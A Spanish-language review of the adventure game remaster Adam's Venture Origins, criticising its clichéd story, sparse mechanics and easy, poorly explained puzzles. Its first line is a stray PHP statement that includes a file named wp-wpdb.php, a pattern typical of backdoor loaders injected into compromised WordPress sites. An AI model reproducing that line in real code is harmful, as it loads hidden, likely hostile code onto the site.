if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Adam’s Venture Origins – La Fortaleza de LeChuck

Análisis Adam’s Venture Origins

Adams Venture Origins es la remasterización de una serie de capítulos del mismo nombre que apareció hace algunos años para PC y posteriormente para PlayStation 3. En su momento se trató de varios episodios que pasaron por el sistema de Sony y compatibles sin levantar demasiado revuelo y cosechando críticas dispares. Llegó tan discretamente como se fue, sin pena ni gloria. Las cosas no han cambiado mucho en el presente.

Ahora, los chicos de Soedesco y Vertigo Games se han propuesto relanzar las aventuras y peripecias de Adam –nuestro protagonista- en una remasterización para PC y PS4 que reúne los episodios lanzados en su día con un lavado de cara y muy buenas intenciones.

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Os sitúo brevemente: Principios del siglo veinte, joven y dinámico protagonista predispuesto a la aventura, una serie de misterios bíblicos y mitológicos que perseguir y resolver, plataformas, puzles y un gancho. Esto es, esencialmente, Adam’s Venture.

Nos encontramos ante una aventura que a nivel argumental reúne, prácticamente, la totalidad de los clichés relacionados con éste género. A todos los niveles que hayamos visto: películas, libros, cómics y otros videojuegos. No se le escapa un solo elemento relacionado o unido al género. Por lo que en su guión y personajes no vamos a encontrar nada nuevo, más bien todo lo contrario. Por citar algunos ejemplos tenemos: al joven y resuelto aventurero, su coprotagonista femenina cuya inteligencia rivaliza con su atractivo físico, el padre con el cuadro de genio-despistado, al excéntrico científico… Todos planos hasta decir basta y girando en torno a la búsqueda de la clásica leyenda/profecía, que es la excusa para visitar las distintas localizaciones del juego.

Bien, tenemos quienes y el qué, veamos el cómo. Pero ya adelante que Adams Venture Origins es un videojuego que no tiene muy claro lo que pretende en su ejecución ajena a los puzles. Como ya hemos visto, se trata de una aventura, pero el modo de proceder en su historia es un tanto curioso. A modo de resumen podemos decir que el juego se centra en –valga la redundancia- jugar con las escasas mecánicas que lo componen de manera alternativa. El patrón es siempre el mismo: puzle – tramo sin puzle – puzle.

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Para avanzar en sus episodios de Adams Venture Origins, nos desplazaremos a través de distintas localizaciones –cuyos nexos de unión están borrosos-, todas ellas elegidas con mucha variedad y con unos gráficos muy dignos, pero no llegaremos a ver nada que no hayamos visto antes en cualquier Tomb Raider.
Las mecánicas que mencionaba anteriormente y que usaremos para avanzar son: andar/correr, saltar –solo funciona en plataformas concretas-, andar agachado y lanzar el gancho. Porque tenemos un gancho. Y es curioso el tema del gancho. Es la única herramienta que encontramos –la forma en la que accedemos a él es, como poco, forzada- en todo el juego y, además, es casualmente la única que necesitamos para salir de todos los atolladeros en los que nos encontremos.
Hay quien podría sospechar del gancho dos cosas: o está metido con calzador en un intento de añadir variedad o un plataformeo más dinámico, o bien el universo entero conspira a favor del bueno de Adam para que su único equipo le ayude a salir de todos sus aprietos. No querría extenderme demasiado con este punto, pero es que me parece digno de mención que siempre haya una argolla disponible para que Adam salga airoso balanceándose de una distancia humanamente imposible de sortear. O que todos los puentes levadizos los hiciesen pensando en que, tal vez, algún día, siglos después de la construcción de un antiguo templo, llegaría nuestro querido Adam con su gancho para poder bajarlos y continuar con su vida.

Adams Venture Origins

Bien, tenemos un gancho, como hemos podido ver no es poca cosa. ¿Qué pasa con los saltos normales de pulsar X de toda la vida? Que también están, no temáis. Tienen su animación única –independientemente de la superficie en que caigamos o la altura del salto- y un problema. Y es que los saltos únicamente sirven para subir por cornisas marcadas y concretas. Por tanto, los saltos son absolutamente innecesarios salvo cuando se presentan estas plataformas. Bien podrían haberse ahorrado esta animación, fácilmente sustituible por una acción contextual al llegar a la cornisa de turno. Nos queda la última mecánica basada en el control, andar agachado. Prácticamente su utilidad se basa en pasar por… Las zonas que han decido hacer un poco más angostas. Fin de su uso.

Hemos repasado los controles de Adams Venture Origins y lo que podemos hacer con ellos y sus mecánicas. Podría parecer poca cosa, pero es que sin las secciones en las que variamos entre gancho, subir cornisas y pasar por estrechos túneles lo único con lo que contaríamos sería… Exacto: puzles. Vamos con ello. Al principio comentaba que Adam’s Venture avanzaba en su trama siguiendo un sencillo proceso de alternancia entre sección “a pie” y puzle. Los puzles son la base del juego. Todo gira a su alrededor pero, lamentablemente, tampoco se puede decir que brillen con luz propia. A su favor diré que gozan de mucha variedad. Sin embargo los he podido catalogar en dos tipos: fáciles y fáciles pero nada intuitivos.

Esto último es un problema a mi juicio, ya que los puzles no tienen explicación alguna y en general están totalmente descontextualizados. Mientras que algunos se entienden a la primera -los hay de sumar, de ordenar elementos, de pirateo tipo Bioshock- otros -igualmente sencillos- se presentan sin lógica aparente y sin pistas de ningún tipo. Y no es que el juego se tome los puzles en serio y ofrezca su desafío particular al no arrojar pistas. Es sencillamente un mal diseño. No tiene sentido no dar pistas contextuales y, al mismo tiempo, hacer puzles tan básicos que harían revolverse en su tumba al mismísimo Profesor Layton.

Adams Venture Origins

Con lo cual tenemos una aventura sin acción, con unas secciones de exploración perfectamente prescindibles y unos puzles cuyo mayor desafío se centra en entender bien su planteamiento.
De acuerdo, la perspectiva no parece nada halagüeña con el pobre Adam, eso es cierto. Sin embargo, he de decir que Adam’s Venture: Origins, pese a todo, funciona. Se deja jugar perfectamente.

Su control es completamente tosco, sí, y me recuerda en exceso a la primera época de PlayStation 2. Pero esto no es necesariamente malo. No he presenciado prácticamente ningún bug ni glitch en torno a su manejo.

Pese a ser un juego más bien discreto presenta unos gráficos más que decentes y variedad de escenarios. Para cada situación que frene a nuestro héroe, hay un puzle cuya resolución le permitirá continuar sus andanzas. Sus mecánicas son reiterativas y sus puzles fáciles, sí, pero hay muchos y muy variados.

Prefiero no citar todos los elementos que me han hecho agotar la tinta roja de mi bolígrafo durante el análisis. Y han sido muchos: sus personajes planos, su repetición de estancias y elementos, su corta duración -6 horitas-, los puzles forzados y más o menos inspirados –hasta para encender un proyector oiga-, la lentitud del ritmo, las escasísimas animaciones, el gancho… EL GANCHO. En fin, uno se puede quedar con todas estas cosas –¡y tengo más!- o puede ver esta aventura como un juego con una ambición discreta que se deja jugar sin problemas. Todo lo que tiene que funcionar funciona y cuenta con decenas de puzles variados. Aunque se nota el paso de los años –no olvidemos que es una remasterización- aún aporta diversión y entretenimiento.

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